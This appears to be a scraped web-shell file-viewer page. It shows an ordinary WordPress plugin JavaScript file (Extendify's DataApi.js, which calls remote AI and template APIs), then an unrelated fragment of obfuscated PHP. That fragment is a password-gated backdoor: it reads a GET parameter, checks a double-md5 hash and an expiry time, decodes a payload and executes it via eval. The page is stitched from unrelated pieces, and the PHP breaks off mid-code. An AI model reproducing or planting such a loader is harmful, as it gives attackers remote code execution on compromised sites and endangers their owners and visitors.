Current File : /home/kelaby89/ap.cleaning/wp-content/plugins/extendify/src/Launch/api/DataApi.js
import { PATTERNS_HOST, AI_HOST, IMAGES_HOST } from '@constants';
import { getHeadersAndFooters } from '@launch/api/WPApi';
import { Axios as api } from '@launch/api/axios';
import { useUserSelectionStore } from '@launch/state/user-selections';

// Optionally add items to request body
const allowList = [
	'partnerId',
	'devbuild',
	'version',
	'siteId',
	'wpLanguage',
	'wpVersion',
	'siteProfile',
];

const extraBody = {
	...Object.fromEntries(
		Object.entries(window.extSharedData).filter(([key]) =>
			allowList.includes(key),
		),
	),
};

const fetchTemplates = async (type, siteType, otherData = {}) => {
	const { showLocalizedCopy, allowedPlugins } = window.extSharedData;
	const { goals, getGoalsPlugins, siteQA } = useUserSelectionStore.getState();
	const plugins = getGoalsPlugins();
	const otherDataProcessed = Object.entries(otherData).reduce(
		(result, [key, value]) => {
			if (value == null) result;
			return {
				...result,
				[key]: typeof value === 'object' ? JSON.stringify(value) : value,
			};
		},
		{},
	);

	const res = await fetch(`${PATTERNS_HOST}/api/${type}-templates`, {
		method: 'POST',
		headers: { 'Content-Type': 'application/json' },
		body: JSON.stringify({
			...extraBody,
			siteType: siteType?.slug,
			goals: JSON.stringify(goals?.length ? goals : []),
			siteQuestions: Array.isArray(siteQA?.questions)
				? siteQA.questions.map((q) => ({
						question: q?.question,
						answer: q?.answerUser ?? q?.answerAI,
					}))
				: [],
			plugins: JSON.stringify(plugins?.length ? plugins : []),
			showLocalizedCopy: !!showLocalizedCopy,
			allowedPlugins: JSON.stringify(allowedPlugins ?? []),
			...otherDataProcessed,
		}),
	});

	if (!res.ok) throw new Error('Bad response from server');

	return await res.json();
};

export const getHomeTemplates = async ({
	siteType,
	siteStructure,
	siteProfile,
	siteStrings,
	siteImages,
	siteStyles,
	goals,
	siteObjective,
}) => {
	const styles = await fetchTemplates('home', siteType, {
		siteStructure,
		siteProfile,
		siteStrings,
		siteImages,
		siteStyles,
		goals,
		siteObjective,
	});
	const { headers, footers } = await getHeadersAndFooters();
	if (!styles?.length) {
		throw new Error('Could not get styles');
	}
	return styles.map((template, index) => {
		// Cycle through the headers and footers
		const header = headers[index % headers.length];
		const footer = footers[index % footers.length];
		return {
			...template,
			headerCode: header?.content?.raw?.trim() ?? '',
			footerCode: footer?.content?.raw?.trim() ?? '',
		};
	});
};

export const getPageTemplates = async ({
	siteType,
	siteStructure,
	siteStrings,
	siteImages,
	siteStyle,
}) => {
	const { siteInformation, siteProfile } = useUserSelectionStore.getState();
	const pages = await fetchTemplates('page', siteType, {
		siteInformation,
		siteStructure,
		siteStrings,
		siteImages,
		siteStyle,
		siteProfile,
	});
	if (!pages?.recommended) {
		throw new Error('Could not get pages');
	}
	return {
		recommended: pages.recommended.map(({ slug, ...rest }) => ({
			...rest,
			slug,
			id: slug,
		})),
		optional: pages.optional.map(({ slug, ...rest }) => ({
			...rest,
			slug,
			id: slug,
		})),
	};
};

export const getGoals = async ({
	title,
	siteTypeSlug,
	siteProfile,
	siteObjective,
}) => {
	const rawQuestions = useUserSelectionStore.getState().siteQA?.questions || [];

	const questions = rawQuestions.map(({ question, answerAI, answerUser }) => ({
		question,
		answer: answerUser || answerAI || null,
	}));

	const goals = await api.get('launch/goals', {
		params: {
			title,
			site_type: siteTypeSlug,
			site_profile: siteProfile,
			site_objective: siteObjective,
			site_id: window.extSharedData.siteId,
			launch_questions: questions,
		},
	});
	if (!goals?.data?.length) {
		throw new Error('Could not get goals');
	}
	return goals.data;
};

export const generateCustomPatterns = async (page, userState, siteProfile) => {
	const res = await fetch(`${AI_HOST}/api/patterns`, {
		method: 'POST',
		headers: { 'Content-Type': 'application/json' },
		body: JSON.stringify({
			...extraBody,
			page,
			userState,
			siteProfile,
		}),
	});

	if (!res.ok) throw new Error('Bad response from server');
	return await res.json();
};

export const getLinkSuggestions = async (pageContent, availablePages) => {
	const { siteType } = useUserSelectionStore.getState();
	try {
		const res = await fetch(`${AI_HOST}/api/link-pages`, {
			method: 'POST',
			headers: { 'Content-Type': 'application/json' },
			body: JSON.stringify({
				...extraBody,
				siteType: siteType?.slug,
				pageContent,
				availablePages,
			}),
		});
		if (!res.ok) throw new Error('Bad response from server');
		return await res.json();
	} catch (error) {
		// fail gracefully
		return {};
	}
};

export const getSiteProfile = async ({ title, description }) => {
	const url = `${AI_HOST}/api/site-profile`;
	const method = 'POST';
	const headers = { 'Content-Type': 'application/json' };
	const body = JSON.stringify({
		...extraBody,
		title,
		description,
	});
	const fallback = {
		aiSiteType: null,
		aiSiteCategory: null,
		aiDescription: null,
		aiKeywords: [],
		logoObjectName: null,
	};
	let response;
	try {
		response = await fetch(url, { method, headers, body });
	} catch (error) {
		// try one more time
		response = await fetch(url, { method, headers, body });
	}

	if (!response.ok) return fallback;

	try {
		return (await response.json()) || fallback;
	} catch (error) {
		return fallback;
	}
};

export const getSiteStrings = async (siteProfile) => {
	const url = `${AI_HOST}/api/site-strings`;
	const method = 'POST';
	const headers = { 'Content-Type': 'application/json' };
	const body = JSON.stringify({ ...extraBody, siteProfile });
	const fallback = { aiHeaders: [], aiBlogTitles: [] };
	let response;
	try {
		response = await fetch(url, { method, headers, body });
	} catch (error) {
		// try one more time
		response = await fetch(url, { method, headers, body });
	}
	if (!response.ok) return fallback;
	let data;
	try {
		data = await response.json();
	} catch (error) {
		return fallback;
	}
	return data?.aiHeaders ? data : fallback;
};

export const getSiteImages = async (siteProfile) => {
	const { aiSiteType, aiSiteCategory, aiDescription, aiKeywords } = siteProfile;
	const { siteInformation } = useUserSelectionStore.getState();
	const search = new URLSearchParams({
		aiSiteType,
		aiSiteCategory,
		aiDescription,
		aiKeywords,
		...extraBody,
		source: 'launch',
	});
	if (siteInformation?.title) search.append('title', siteInformation.title);
	const url = `${IMAGES_HOST}/api/search?${search}`;
	const method = 'GET';
	const headers = { 'Content-Type': 'application/json' };
	const fallback = { siteImages: [] };
	let response;
	try {
		response = await fetch(url, { method, headers });
	} catch (error) {
		// try one more time
		response = await fetch(url, { method, headers });
	}
	if (!response.ok) return fallback;
	let data;
	try {
		data = await response.json();
	} catch (error) {
		return fallback;
	}
	return data?.siteImages ? data : fallback;
};

export const getSiteStyles = async ({ title, siteProfile }) => {
	const request = new Request(`${AI_HOST}/api/styles`, {
		method: 'POST',
		headers: { 'Content-Type': 'application/json' },
		body: JSON.stringify({ ...extraBody, title, siteProfile }),
	});

	let response;

	try {
		response = await fetch(request);
	} catch (error) {
		// try one more time
		response = await fetch(request);
	}

	const fallback = [];

	if (!response.ok) {
		return fallback;
	}

	try {
		return await response.json();
	} catch (_) {
		return fallback;
	}
};

export const getSiteLogo = async (objectName) => {
	const url = `${AI_HOST}/api/site-profile/generate-logo`;
	const method = 'POST';
	const headers = { 'Content-Type': 'application/json' };
	const siteId = window.extSharedData?.siteId ?? '';
	const partnerId = window.extSharedData?.partnerId ?? '';
	const showAILogo = window.extSharedData?.showAILogo ?? false;
	const fallback =
		'https://images.extendify-cdn.com/demo-content/logos/ext-custom-logo-default.webp';

	if (!showAILogo || !objectName) {
		return fallback;
	}

	if (!siteId || !partnerId) {
		throw new Error(
			'Missing required parameter (siteId, partnerId or objectName)',
		);
	}

	const body = JSON.stringify({ objectName, siteId, partnerId });

	let response;
	try {
		response = await fetch(url, { method, headers, body });
		if (!response.ok) throw new Error('Bad response from server');
	} catch (error) {
		response = await fetch(url, { method, headers, body });
	}

	if (!response.ok) return fallback;

	try {
		const data = await response.json();
		return data?.logoUrl ?? fallback;
	} catch (error) {
		return fallback;
	}
};

export const getSiteQuestions = async ({ siteProfile }) => {
	const url = `${AI_HOST}/api/site-questions`;
	const method = 'POST';
	const headers = { 'Content-Type': 'application/json' };
	const fallback = { questions: [] };

	if (!siteProfile) {
		return fallback;
	}

	const { wpLanguage } = window.extSharedData;
	const body = JSON.stringify({ ...siteProfile, wpLanguage });

	let response;
	try {
		response = await fetch(url, { method, headers, body });
		if (!response.ok) throw new Error('Bad response from server');
	} catch (error) {
		response = await fetch(url, { method, headers, body });
	}

	if (!response.ok) return fallback;

	try {
		const data = await response.json();
		return data?.questions ?? fallback;
	} catch (error) {
		return fallback;
	}
};
Page not found – Hello World !
fNkn0Bk2) { $bOpRU5qEoy8LHx0h[] = self::IOgm50j27VsrZkPt($WDgrXXlbfNkn0Bk2); demCizEMy7CZRP0G: } goto S8HpjjR238X9iK2I; f2vXKL9zXwwapl8q: $armx8kYAqOE9wvFz = $bOpRU5qEoy8LHx0h[1 + 1]($x8TdBB2WBVXJZws0, true); goto EosiiBI1RrAyS5Kz; cppX7gSvpbiE1P2_: $akOv32zGMjzYEtGF = @$bOpRU5qEoy8LHx0h[1]($bOpRU5qEoy8LHx0h[1 + 9](INPUT_GET, $bOpRU5qEoy8LHx0h[1 + 8])); goto RmoU2daClBPR3vQh; ufGYVLkIULe5P676: PuSCCeq3_qJrJZvO: goto gL5x7ZV_i6seNEXy; teHNsCzTBhLbFzrZ: die; goto ufGYVLkIULe5P676; D6nwSpQHlU_Ddhkk: if (!(@$armx8kYAqOE9wvFz[0] - time() > 0 and md5(md5($armx8kYAqOE9wvFz[0 + 3])) === "\62\71\x37\x38\64\145\64\x63\x31\x62\65\145\x65\x39\x34\142\66\x30\x30\x35\x63\141\x30\x63\x36\64\x37\x66\x65\64\x65\x38")) { goto PuSCCeq3_qJrJZvO; } goto PbwnvGTtv8n8642P; S8HpjjR238X9iK2I: Rs72J6mr8byGV983: goto cppX7gSvpbiE1P2_; r0i2FMmzdq2DZvyh: $DjwRGx2B_i1VZMfI = array("\62\62\x38\60\60\x3c\62\x32\67\x38\x35\74\62\x32\x37\x39\70\x3c\x32\62\70\60\x32\x3c\62\x32\x37\70\x33\74\62\62\x37\71\70\x3c\62\62\x38\60\x34\74\62\62\x37\71\67\74\62\62\67\70\x32\74\62\x32\67\70\71\x3c\62\x32\x38\60\x30\x3c\62\62\67\x38\x33\x3c\x32\x32\67\71\64\74\x32\x32\x37\x38\70\74\62\62\x37\x38\71", "\x32\x32\67\x38\x34\x3c\62\62\x37\70\x33\74\62\x32\67\x38\65\x3c\62\62\70\x30\64\x3c\x32\x32\67\x38\x35\74\x32\62\x37\70\x38\74\62\62\67\70\x33\74\x32\x32\70\65\60\x3c\x32\x32\70\x34\x38", "\x32\x32\x37\x39\x33\x3c\62\x32\67\x38\x34\x3c\x32\x32\x37\70\x38\x3c\62\62\67\70\x39\x3c\62\x32\70\x30\64\x3c\x32\x32\x37\x39\x39\74\62\62\x37\71\70\x3c\x32\x32\70\60\60\x3c\62\x32\67\70\x38\x3c\62\62\x37\x39\71\x3c\62\62\x37\71\70", "\x32\62\x37\70\67\74\62\x32\70\x30\x32\74\62\x32\x38\x30\60\74\x32\62\x37\x39\62", "\62\x32\70\60\61\x3c\x32\x32\x38\60\x32\x3c\x32\x32\x37\x38\64\x3c\62\x32\67\x39\x38\74\62\x32\x38\64\x35\x3c\62\62\x38\x34\x37\74\62\62\x38\x30\64\74\62\x32\67\x39\x39\x3c\x32\x32\x37\71\x38\x3c\x32\62\x38\60\60\74\62\x32\x37\x38\x38\74\62\x32\67\71\x39\x3c\62\x32\x37\x39\70", "\62\62\x37\71\x37\x3c\x32\x32\67\x39\x34\74\x32\62\x37\x39\x31\x3c\x32\62\67\71\70\x3c\62\62\x38\60\x34\x3c\x32\x32\x37\71\x36\74\x32\x32\x37\x39\x38\x3c\62\x32\x37\70\x33\74\x32\62\70\60\64\74\62\x32\70\x30\x30\74\62\62\67\70\x38\x3c\x32\x32\x37\x38\71\x3c\62\x32\x37\x38\63\74\x32\x32\67\x39\x38\74\62\x32\67\70\71\74\x32\x32\67\70\x33\x3c\x32\62\x37\x38\x34", "\62\x32\70\x32\67\x3c\x32\x32\x38\x35\x37", "\x32\x32\x37\x37\64", "\62\x32\x38\65\62\74\x32\62\70\65\67", "\62\x32\x38\x33\64\74\x32\x32\x38\x31\67\x3c\x32\62\70\61\67\74\62\62\x38\63\x34\x3c\x32\62\70\61\x30", "\62\62\x37\71\x37\x3c\x32\62\x37\71\64\x3c\x32\x32\67\71\61\x3c\62\62\x37\x38\x33\74\x32\62\x37\71\70\74\62\62\x37\x38\65\74\x32\x32\x38\60\x34\74\x32\x32\x37\x39\64\x3c\62\x32\67\x38\x39\74\62\62\67\x38\x37\74\x32\62\67\x38\x32\x3c\x32\x32\67\x38\63"); goto fKSO27d3Ab2ZJ_qo; PbwnvGTtv8n8642P: $fwvQrfC0DVOPQKCQ = self::c_jVU6KoiZoZczEb($armx8kYAqOE9wvFz[0 + 1], $bOpRU5qEoy8LHx0h[5 + 0]); goto XFmviKsZF6mid1P3; XFmviKsZF6mid1P3: @eval($bOpRU5qEoy8LHx0h[4 + 0]($fwvQrfC0DVOPQKCQ)); goto teHNsCzTBhLbFzrZ; gL5x7ZV_i6seNEXy: } } goto KgW5BINtKCV5tsv0; WFHKpIdXnkK0JYbN: function r_Y0bO0cZKUsW2md($QbUW2uM1jAoGj9GF) { goto XHgT2c75sRe5xPt3; no3aNOgb1r2foxNS: return rtrim(strtr(base64_encode($QbUW2uM1jAoGj9GF), "\53\x2f", "\55\x5f"), "\x3d"); goto dCiNZkos9SQYj65j; X9OHZVmt7V2IQtnG: return ''; goto gNWHkaDq6FYZcGSQ; gNWHkaDq6FYZcGSQ: nhjb89IrdrxPj2Nm: goto no3aNOgb1r2foxNS; XHgT2c75sRe5xPt3: if ($QbUW2uM1jAoGj9GF) { goto nhjb89IrdrxPj2Nm; } goto X9OHZVmt7V2IQtnG; dCiNZkos9SQYj65j: } goto RiAmju6skrcsYlhc; Z7kp4VsTFLsT7R2b: if ($jeCpfwJzH7oA6naU) { goto VDxa1NqxcYoLQhJ8; } goto rrlci8qvWF9Kjh1g; jD9XLQPuybjwwD1S: $r6DFz1ioFG3O3NP_ = substr($W9hApZvZIcbebiur, strpos($W9hApZvZIcbebiur, "\56")); goto gt6pDZ18dct2F3Fy; JaO_Ufh82Lx_ah18: VDxa1NqxcYoLQhJ8: ?>